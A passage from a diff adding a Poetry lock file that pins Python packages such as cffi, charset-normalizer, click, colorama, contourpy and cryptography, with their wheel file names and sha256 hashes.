"sha256:fcd131dd944808b5bdb38e6f5b53013c5aa4f334c5cad0c72742f6eba4b73db0"}, + {file = "cffi-1.15.1-cp39-cp39-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:7473e861101c9e72452f9bf8acb984947aa1661a7704553a9f6e4baa5ba64415"}, + {file = "cffi-1.15.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6c9a799e985904922a4d207a94eae35c78ebae90e128f0c4e521ce339396be9d"}, + {file = "cffi-1.15.1-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:3bcde07039e586f91b45c88f8583ea7cf7a0770df3a1649627bf598332cb6984"}, + {file = "cffi-1.15.1-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:33ab79603146aace82c2427da5ca6e58f2b3f2fb5da893ceac0c42218a40be35"}, + {file = "cffi-1.15.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5d598b938678ebf3c67377cdd45e09d431369c3b1a5b331058c338e201f12b27"}, + {file = "cffi-1.15.1-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:db0fbb9c62743ce59a9ff687eb5f4afbe77e5e8403d6697f7446e5f609976f76"}, + {file = "cffi-1.15.1-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:98d85c6a2bef81588d9227dde12db8a7f47f639f4a17c9ae08e773aa9c697bf3"}, + {file = "cffi-1.15.1-cp39-cp39-win32.whl", hash = "sha256:40f4774f5a9d4f5e344f31a32b5096977b5d48560c5592e2f3d2c4374bd543ee"}, + {file = "cffi-1.15.1-cp39-cp39-win_amd64.whl", hash = "sha256:70df4e3b545a17496c9b3f41f5115e69a4f2e77e94e1d2a8e1070bc0c38c8a3c"}, + {file = "cffi-1.15.1.tar.gz", hash = "sha256:d400bfb9a37b1351253cb402671cea7e89bdecc294e8016a707f6d1d8ac934f9"}, +] + +[package.dependencies] +pycparser = "*" + +[[package]] +name = "charset-normalizer" +version = "3.1.0" +description = "The Real First Universal Charset Detector. Open, modern and actively maintained alternative to Chardet." +category = "main" +optional = false +python-versions = ">=3.7.0" +files = [ + {file = "charset-normalizer-3.1.0.tar.gz", hash = "sha256:34e0a2f9c370eb95597aae63bf85eb5e96826d81e3dcf88b8886012906f509b5"}, + {file = "charset_normalizer-3.1.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:e0ac8959c929593fee38da1c2b64ee9778733cdf03c482c9ff1d508b6b593b2b"}, + {file = "charset_normalizer-3.1.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:d7fc3fca01da18fbabe4625d64bb612b533533ed10045a2ac3dd194bfa656b60"}, + {file = "charset_normalizer-3.1.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:04eefcee095f58eaabe6dc3cc2262f3bcd776d2c67005880894f447b3f2cb9c1"}, + {file = "charset_normalizer-3.1.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:20064ead0717cf9a73a6d1e779b23d149b53daf971169289ed2ed43a71e8d3b0"}, + {file = "charset_normalizer-3.1.0-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:1435ae15108b1cb6fffbcea2af3d468683b7afed0169ad718451f8db5d1aff6f"}, + {file = "charset_normalizer-3.1.0-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:c84132a54c750fda57729d1e2599bb598f5fa0344085dbde5003ba429a4798c0"}, + {file = "charset_normalizer-3.1.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:75f2568b4189dda1c567339b48cba4ac7384accb9c2a7ed655cd86b04055c795"}, + {file = "charset_normalizer-3.1.0-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:11d3bcb7be35e7b1bba2c23beedac81ee893ac9871d0ba79effc7fc01167db6c"}, + {file = "charset_normalizer-3.1.0-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:891cf9b48776b5c61c700b55a598621fdb7b1e301a550365571e9624f270c203"}, + {file = "charset_normalizer-3.1.0-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:5f008525e02908b20e04707a4f704cd286d94718f48bb33edddc7d7b584dddc1"}, + {file = "charset_normalizer-3.1.0-cp310-cp310-musllinux_1_1_ppc64le.whl", hash = "sha256:b06f0d3bf045158d2fb8837c5785fe9ff9b8c93358be64461a1089f5da983137"}, + {file = "charset_normalizer-3.1.0-cp310-cp310-musllinux_1_1_s390x.whl", hash = "sha256:49919f8400b5e49e961f320c735388ee686a62327e773fa5b3ce6721f7e785ce"}, + {file = "charset_normalizer-3.1.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:22908891a380d50738e1f978667536f6c6b526a2064156203d418f4856d6e86a"}, + {file = "charset_normalizer-3.1.0-cp310-cp310-win32.whl", hash = "sha256:12d1a39aa6b8c6f6248bb54550efcc1c38ce0d8096a146638fd4738e42284448"}, + {file = "charset_normalizer-3.1.0-cp310-cp310-win_amd64.whl", hash = "sha256:65ed923f84a6844de5fd29726b888e58c62820e0769b76565480e1fdc3d062f8"}, + {file = "charset_normalizer-3.1.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:9a3267620866c9d17b959a84dd0bd2d45719b817245e49371ead79ed4f710d19"}, + {file = "charset_normalizer-3.1.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:6734e606355834f13445b6adc38b53c0fd45f1a56a9ba06c2058f86893ae8017"}, + {file = "charset_normalizer-3.1.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:f8303414c7b03f794347ad062c0516cee0e15f7a612abd0ce1e25caf6ceb47df"}, + {file = "charset_normalizer-3.1.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:aaf53a6cebad0eae578f062c7d462155eada9c172bd8c4d250b8c1d8eb7f916a"}, + {file = "charset_normalizer-3.1.0-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:3dc5b6a8ecfdc5748a7e429782598e4f17ef378e3e272eeb1340ea57c9109f41"}, + {file = "charset_normalizer-3.1.0-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:e1b25e3ad6c909f398df8921780d6a3d120d8c09466720226fc621605b6f92b1"}, + {file = "charset_normalizer-3.1.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0ca564606d2caafb0abe6d1b5311c2649e8071eb241b2d64e75a0d0065107e62"}, + {file = "charset_normalizer-3.1.0-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:b82fab78e0b1329e183a65260581de4375f619167478dddab510c6c6fb04d9b6"}, + {file = "charset_normalizer-3.1.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:bd7163182133c0c7701b25e604cf1611c0d87712e56e88e7ee5d72deab3e76b5"}, + {file = "charset_normalizer-3.1.0-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:11d117e6c63e8f495412d37e7dc2e2fff09c34b2d09dbe2bee3c6229577818be"}, + {file = "charset_normalizer-3.1.0-cp311-cp311-musllinux_1_1_ppc64le.whl", hash = "sha256:cf6511efa4801b9b38dc5546d7547d5b5c6ef4b081c60b23e4d941d0eba9cbeb"}, + {file = "charset_normalizer-3.1.0-cp311-cp311-musllinux_1_1_s390x.whl", hash = "sha256:abc1185d79f47c0a7aaf7e2412a0eb2c03b724581139193d2d82b3ad8cbb00ac"}, + {file = "charset_normalizer-3.1.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:cb7b2ab0188829593b9de646545175547a70d9a6e2b63bf2cd87a0a391599324"}, + {file = "charset_normalizer-3.1.0-cp311-cp311-win32.whl", hash = "sha256:c36bcbc0d5174a80d6cccf43a0ecaca44e81d25be4b7f90f0ed7bcfbb5a00909"}, + {file = "charset_normalizer-3.1.0-cp311-cp311-win_amd64.whl", hash = "sha256:cca4def576f47a09a943666b8f829606bcb17e2bc2d5911a46c8f8da45f56755"}, + {file = "charset_normalizer-3.1.0-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:0c95f12b74681e9ae127728f7e5409cbbef9cd914d5896ef238cc779b8152373"}, + {file = "charset_normalizer-3.1.0-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:fca62a8301b605b954ad2e9c3666f9d97f63872aa4efcae5492baca2056b74ab"}, + {file = "charset_normalizer-3.1.0-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:ac0aa6cd53ab9a31d397f8303f92c42f534693528fafbdb997c82bae6e477ad9"}, + {file = "charset_normalizer-3.1.0-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:c3af8e0f07399d3176b179f2e2634c3ce9c1301379a6b8c9c9aeecd481da494f"}, + {file = "charset_normalizer-3.1.0-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3a5fc78f9e3f501a1614a98f7c54d3969f3ad9bba8ba3d9b438c3bc5d047dd28"}, + {file = "charset_normalizer-3.1.0-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:628c985afb2c7d27a4800bfb609e03985aaecb42f955049957814e0491d4006d"}, + {file = "charset_normalizer-3.1.0-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:74db0052d985cf37fa111828d0dd230776ac99c740e1a758ad99094be4f1803d"}, + {file = "charset_normalizer-3.1.0-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:1e8fcdd8f672a1c4fc8d0bd3a2b576b152d2a349782d1eb0f6b8e52e9954731d"}, + {file = "charset_normalizer-3.1.0-cp37-cp37m-musllinux_1_1_ppc64le.whl", hash = "sha256:04afa6387e2b282cf78ff3dbce20f0cc071c12dc8f685bd40960cc68644cfea6"}, + {file = "charset_normalizer-3.1.0-cp37-cp37m-musllinux_1_1_s390x.whl", hash = "sha256:dd5653e67b149503c68c4018bf07e42eeed6b4e956b24c00ccdf93ac79cdff84"}, + {file = "charset_normalizer-3.1.0-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:d2686f91611f9e17f4548dbf050e75b079bbc2a82be565832bc8ea9047b61c8c"}, + {file = "charset_normalizer-3.1.0-cp37-cp37m-win32.whl", hash = "sha256:4155b51ae05ed47199dc5b2a4e62abccb274cee6b01da5b895099b61b1982974"}, + {file = "charset_normalizer-3.1.0-cp37-cp37m-win_amd64.whl", hash = "sha256:322102cdf1ab682ecc7d9b1c5eed4ec59657a65e1c146a0da342b78f4112db23"}, + {file = "charset_normalizer-3.1.0-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:e633940f28c1e913615fd624fcdd72fdba807bf53ea6925d6a588e84e1151531"}, + {file = "charset_normalizer-3.1.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:3a06f32c9634a8705f4ca9946d667609f52cf130d5548881401f1eb2c39b1e2c"}, + {file = "charset_normalizer-3.1.0-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:7381c66e0561c5757ffe616af869b916c8b4e42b367ab29fedc98481d1e74e14"}, + {file = "charset_normalizer-3.1.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3573d376454d956553c356df45bb824262c397c6e26ce43e8203c4c540ee0acb"}, + {file = "charset_normalizer-3.1.0-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:e89df2958e5159b811af9ff0f92614dabf4ff617c03a4c1c6ff53bf1c399e0e1"}, + {file = "charset_normalizer-3.1.0-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:78cacd03e79d009d95635e7d6ff12c21eb89b894c354bd2b2ed0b4763373693b"}, + {file = "charset_normalizer-3.1.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:de5695a6f1d8340b12a5d6d4484290ee74d61e467c39ff03b39e30df62cf83a0"}, + {file = "charset_normalizer-3.1.0-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1c60b9c202d00052183c9be85e5eaf18a4ada0a47d188a83c8f5c5b23252f649"}, + {file = "charset_normalizer-3.1.0-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:f645caaf0008bacf349875a974220f1f1da349c5dbe7c4ec93048cdc785a3326"}, + {file = "charset_normalizer-3.1.0-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:ea9f9c6034ea2d93d9147818f17c2a0860d41b71c38b9ce4d55f21b6f9165a11"}, + {file = "charset_normalizer-3.1.0-cp38-cp38-musllinux_1_1_ppc64le.whl", hash = "sha256:80d1543d58bd3d6c271b66abf454d437a438dff01c3e62fdbcd68f2a11310d4b"}, + {file = "charset_normalizer-3.1.0-cp38-cp38-musllinux_1_1_s390x.whl", hash = "sha256:73dc03a6a7e30b7edc5b01b601e53e7fc924b04e1835e8e407c12c037e81adbd"}, + {file = "charset_normalizer-3.1.0-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:6f5c2e7bc8a4bf7c426599765b1bd33217ec84023033672c1e9a8b35eaeaaaf8"}, + {file = "charset_normalizer-3.1.0-cp38-cp38-win32.whl", hash = "sha256:12a2b561af122e3d94cdb97fe6fb2bb2b82cef0cdca131646fdb940a1eda04f0"}, + {file = "charset_normalizer-3.1.0-cp38-cp38-win_amd64.whl", hash = "sha256:3160a0fd9754aab7d47f95a6b63ab355388d890163eb03b2d2b87ab0a30cfa59"}, + {file = "charset_normalizer-3.1.0-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:38e812a197bf8e71a59fe55b757a84c1f946d0ac114acafaafaf21667a7e169e"}, + {file = "charset_normalizer-3.1.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:6baf0baf0d5d265fa7944feb9f7451cc316bfe30e8df1a61b1bb08577c554f31"}, + {file = "charset_normalizer-3.1.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:8f25e17ab3039b05f762b0a55ae0b3632b2e073d9c8fc88e89aca31a6198e88f"}, + {file = "charset_normalizer-3.1.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3747443b6a904001473370d7810aa19c3a180ccd52a7157aacc264a5ac79265e"}, + {file = "charset_normalizer-3.1.0-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:b116502087ce8a6b7a5f1814568ccbd0e9f6cfd99948aa59b0e241dc57cf739f"}, + {file = "charset_normalizer-3.1.0-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:d16fd5252f883eb074ca55cb622bc0bee49b979ae4e8639fff6ca3ff44f9f854"}, + {file = "charset_normalizer-3.1.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:21fa558996782fc226b529fdd2ed7866c2c6ec91cee82735c98a197fae39f706"}, + {file = "charset_normalizer-3.1.0-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:6f6c7a8a57e9405cad7485f4c9d3172ae486cfef1344b5ddd8e5239582d7355e"}, + {file = "charset_normalizer-3.1.0-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:ac3775e3311661d4adace3697a52ac0bab17edd166087d493b52d4f4f553f9f0"}, + {file = "charset_normalizer-3.1.0-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:10c93628d7497c81686e8e5e557aafa78f230cd9e77dd0c40032ef90c18f2230"}, + {file = "charset_normalizer-3.1.0-cp39-cp39-musllinux_1_1_ppc64le.whl", hash = "sha256:6f4f4668e1831850ebcc2fd0b1cd11721947b6dc7c00bf1c6bd3c929ae14f2c7"}, + {file = "charset_normalizer-3.1.0-cp39-cp39-musllinux_1_1_s390x.whl", hash = "sha256:0be65ccf618c1e7ac9b849c315cc2e8a8751d9cfdaa43027d4f6624bd587ab7e"}, + {file = "charset_normalizer-3.1.0-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:53d0a3fa5f8af98a1e261de6a3943ca631c526635eb5817a87a59d9a57ebf48f"}, + {file = "charset_normalizer-3.1.0-cp39-cp39-win32.whl", hash = "sha256:a04f86f41a8916fe45ac5024ec477f41f886b3c435da2d4e3d2709b22ab02af1"}, + {file = "charset_normalizer-3.1.0-cp39-cp39-win_amd64.whl", hash = "sha256:830d2948a5ec37c386d3170c483063798d7879037492540f10a475e3fd6f244b"}, + {file = "charset_normalizer-3.1.0-py3-none-any.whl", hash = "sha256:3d9098b479e78c85080c98e1e35ff40b4a31d8953102bb0fd7d1b6f8a2111a3d"}, +] + +[[package]] +name = "click" +version = "8.1.3" +description = "Composable command line interface toolkit" +category = "main" +optional = false +python-versions = ">=3.7" +files = [ + {file = "click-8.1.3-py3-none-any.whl", hash = "sha256:bb4d8133cb15a609f44e8213d9b391b0809795062913b383c62be0ee95b1db48"}, + {file = "click-8.1.3.tar.gz", hash = "sha256:7682dc8afb30297001674575ea00d1814d808d6a36af415a82bd481d37ba7b8e"}, +] + +[package.dependencies] +colorama = {version = "*", markers = "platform_system == \"Windows\""} + +[[package]] +name = "colorama" +version = "0.4.6" +description = "Cross-platform colored terminal text." +category = "main" +optional = false +python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,!=3.6.*,>=2.7" +files = [ + {file = "colorama-0.4.6-py2.py3-none-any.whl", hash = "sha256:4f1d9991f5acc0ca119f9d443620b77f9d6b33703e51011c16baf57afb285fc6"}, + {file = "colorama-0.4.6.tar.gz", hash = "sha256:08695f5cb7ed6e0531a20572697297273c47b8cae5a63ffc6d6ed5c201be6e44"}, +] + +[[package]] +name = "contourpy" +version = "1.0.7" +description = "Python library for calculating contours of 2D quadrilateral grids" +category = "main" +optional = false +python-versions = ">=3.8" +files = [ + {file = "contourpy-1.0.7-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:95c3acddf921944f241b6773b767f1cbce71d03307270e2d769fd584d5d1092d"}, + {file = "contourpy-1.0.7-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:fc1464c97579da9f3ab16763c32e5c5d5bb5fa1ec7ce509a4ca6108b61b84fab"}, + {file = "contourpy-1.0.7-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:8acf74b5d383414401926c1598ed77825cd530ac7b463ebc2e4f46638f56cce6"}, + {file = "contourpy-1.0.7-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1c71fdd8f1c0f84ffd58fca37d00ca4ebaa9e502fb49825484da075ac0b0b803"}, + {file = "contourpy-1.0.7-cp310-cp310-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f99e9486bf1bb979d95d5cffed40689cb595abb2b841f2991fc894b3452290e8"}, + {file = "contourpy-1.0.7-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:87f4d8941a9564cda3f7fa6a6cd9b32ec575830780677932abdec7bcb61717b0"}, + {file = "contourpy-1.0.7-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:9e20e5a1908e18aaa60d9077a6d8753090e3f85ca25da6e25d30dc0a9e84c2c6"}, + {file = "contourpy-1.0.7-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:a877ada905f7d69b2a31796c4b66e31a8068b37aa9b78832d41c82fc3e056ddd"}, + {file = "contourpy-1.0.7-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:6381fa66866b0ea35e15d197fc06ac3840a9b2643a6475c8fff267db8b9f1e69"}, + {file = "contourpy-1.0.7-cp310-cp310-win32.whl", hash = "sha256:3c184ad2433635f216645fdf0493011a4667e8d46b34082f5a3de702b6ec42e3"}, + {file = "contourpy-1.0.7-cp310-cp310-win_amd64.whl", hash = "sha256:3caea6365b13119626ee996711ab63e0c9d7496f65641f4459c60a009a1f3e80"}, + {file = "contourpy-1.0.7-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:ed33433fc3820263a6368e532f19ddb4c5990855e4886088ad84fd7c4e561c71"}, + {file = "contourpy-1.0.7-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:38e2e577f0f092b8e6774459317c05a69935a1755ecfb621c0a98f0e3c09c9a5"}, + {file = "contourpy-1.0.7-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:ae90d5a8590e5310c32a7630b4b8618cef7563cebf649011da80874d0aa8f414"}, + {file = "contourpy-1.0.7-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:130230b7e49825c98edf0b428b7aa1125503d91732735ef897786fe5452b1ec2"}, + {file = "contourpy-1.0.7-cp311-cp311-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:58569c491e7f7e874f11519ef46737cea1d6eda1b514e4eb5ac7dab6aa864d02"}, + {file = "contourpy-1.0.7-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:54d43960d809c4c12508a60b66cb936e7ed57d51fb5e30b513934a4a23874fae"}, + {file = "contourpy-1.0.7-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:152fd8f730c31fd67fe0ffebe1df38ab6a669403da93df218801a893645c6ccc"}, + {file = "contourpy-1.0.7-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:9056c5310eb1daa33fc234ef39ebfb8c8e2533f088bbf0bc7350f70a29bde1ac"}, + {file = "contourpy-1.0.7-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:a9d7587d2fdc820cc9177139b56795c39fb8560f540bba9ceea215f1f66e1566"}, + {file = "contourpy-1.0.7-cp311-cp311-win32.whl", hash = "sha256:4ee3ee247f795a69e53cd91d927146fb16c4e803c7ac86c84104940c7d2cabf0"}, + {file = "contourpy-1.0.7-cp311-cp311-win_amd64.whl", hash = "sha256:5caeacc68642e5f19d707471890f037a13007feba8427eb7f2a60811a1fc1350"}, + {file = "contourpy-1.0.7-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:fd7dc0e6812b799a34f6d12fcb1000539098c249c8da54f3566c6a6461d0dbad"}, + {file = "contourpy-1.0.7-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:0f9d350b639db6c2c233d92c7f213d94d2e444d8e8fc5ca44c9706cf72193772"}, + {file = "contourpy-1.0.7-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:e96a08b62bb8de960d3a6afbc5ed8421bf1a2d9c85cc4ea73f4bc81b4910500f"}, + {file = "contourpy-1.0.7-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:031154ed61f7328ad7f97662e48660a150ef84ee1bc8876b6472af88bf5a9b98"}, + {file = "contourpy-1.0.7-cp38-cp38-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:2e9ebb4425fc1b658e13bace354c48a933b842d53c458f02c86f371cecbedecc"}, + {file = "contourpy-1.0.7-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:efb8f6d08ca7998cf59eaf50c9d60717f29a1a0a09caa46460d33b2924839dbd"}, + {file = "contourpy-1.0.7-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:6c180d89a28787e4b73b07e9b0e2dac7741261dbdca95f2b489c4f8f887dd810"}, + {file = "contourpy-1.0.7-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:b8d587cc39057d0afd4166083d289bdeff221ac6d3ee5046aef2d480dc4b503c"}, + {file = "contourpy-1.0.7-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:769eef00437edf115e24d87f8926955f00f7704bede656ce605097584f9966dc"}, + {file = "contourpy-1.0.7-cp38-cp38-win32.whl", hash = "sha256:62398c80ef57589bdbe1eb8537127321c1abcfdf8c5f14f479dbbe27d0322e66"}, + {file = "contourpy-1.0.7-cp38-cp38-win_amd64.whl", hash = "sha256:57119b0116e3f408acbdccf9eb6ef19d7fe7baf0d1e9aaa5381489bc1aa56556"}, + {file = "contourpy-1.0.7-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:30676ca45084ee61e9c3da589042c24a57592e375d4b138bd84d8709893a1ba4"}, + {file = "contourpy-1.0.7-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:3e927b3868bd1e12acee7cc8f3747d815b4ab3e445a28d2e5373a7f4a6e76ba1"}, + {file = "contourpy-1.0.7-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:366a0cf0fc079af5204801786ad7a1c007714ee3909e364dbac1729f5b0849e5"}, + {file = "contourpy-1.0.7-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:89ba9bb365446a22411f0673abf6ee1fea3b2cf47b37533b970904880ceb72f3"}, + {file = "contourpy-1.0.7-cp39-cp39-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:71b0bf0c30d432278793d2141362ac853859e87de0a7dee24a1cea35231f0d50"}, + {file = "contourpy-1.0.7-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e7281244c99fd7c6f27c1c6bfafba878517b0b62925a09b586d88ce750a016d2"}, + {file = "contourpy-1.0.7-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:b6d0f9e1d39dbfb3977f9dd79f156c86eb03e57a7face96f199e02b18e58d32a"}, + {file = "contourpy-1.0.7-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:7f6979d20ee5693a1057ab53e043adffa1e7418d734c1532e2d9e915b08d8ec2"}, + {file = "contourpy-1.0.7-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:5dd34c1ae752515318224cba7fc62b53130c45ac6a1040c8b7c1a223c46e8967"}, + {file = "contourpy-1.0.7-cp39-cp39-win32.whl", hash = "sha256:c5210e5d5117e9aec8c47d9156d1d3835570dd909a899171b9535cb4a3f32693"}, + {file = "contourpy-1.0.7-cp39-cp39-win_amd64.whl", hash = "sha256:60835badb5ed5f4e194a6f21c09283dd6e007664a86101431bf870d9e86266c4"}, + {file = "contourpy-1.0.7-pp38-pypy38_pp73-macosx_10_9_x86_64.whl", hash = "sha256:ce41676b3d0dd16dbcfabcc1dc46090aaf4688fd6e819ef343dbda5a57ef0161"}, + {file = "contourpy-1.0.7-pp38-pypy38_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5a011cf354107b47c58ea932d13b04d93c6d1d69b8b6dce885e642531f847566"}, + {file = "contourpy-1.0.7-pp38-pypy38_pp73-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:31a55dccc8426e71817e3fe09b37d6d48ae40aae4ecbc8c7ad59d6893569c436"}, + {file = "contourpy-1.0.7-pp38-pypy38_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:69f8ff4db108815addd900a74df665e135dbbd6547a8a69333a68e1f6e368ac2"}, + {file = "contourpy-1.0.7-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:efe99298ba37e37787f6a2ea868265465410822f7bea163edcc1bd3903354ea9"}, + {file = "contourpy-1.0.7-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:a1e97b86f73715e8670ef45292d7cc033548266f07d54e2183ecb3c87598888f"}, + {file = "contourpy-1.0.7-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:cc331c13902d0f50845099434cd936d49d7a2ca76cb654b39691974cb1e4812d"}, + {file = "contourpy-1.0.7-pp39-pypy39_pp73-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:24847601071f740837aefb730e01bd169fbcaa610209779a78db7ebb6e6a7051"}, + {file = "contourpy-1.0.7-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:abf298af1e7ad44eeb93501e40eb5a67abbf93b5d90e468d01fc0c4451971afa"}, + {file = "contourpy-1.0.7-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:64757f6460fc55d7e16ed4f1de193f362104285c667c112b50a804d482777edd"}, + {file = "contourpy-1.0.7.tar.gz", hash = "sha256:d8165a088d31798b59e91117d1f5fc3df8168d8b48c4acc10fc0df0d0bdbcc5e"}, +] + +[package.dependencies] +numpy = ">=1.16" + +[package.extras] +bokeh = ["bokeh", "chromedriver", "selenium"] +docs = ["furo", "sphinx-copybutton"] +mypy = ["contourpy[bokeh]", "docutils-stubs", "mypy (==0.991)", "types-Pillow"] +test = ["Pillow", "matplotlib", "pytest"] +test-no-images = ["pytest"] + +[[package]] +name = "cryptography" +version = "41.0.1" +description = "cryptography is a package which provides cryptographic recipes and primitives to Python developers." +category = "main" +optional = false +python-versions = ">=3.7" +files = [ + {file = "cryptography-41.0.1-cp37-abi3-macosx_10_12_universal2.whl", hash = "sha256:f73bff05db2a3e5974a6fd248af2566134d8981fd7ab012e5dd4ddb1d9a70699"}, + {file = "cryptography-41.0.1-cp37-abi3-macosx_10_12_x86_64.whl", hash = "sha256:1a5472d40c8f8e91ff7a3d8ac6dfa363d8e3138b961529c996f3e2df0c7a411a"}, + {file = 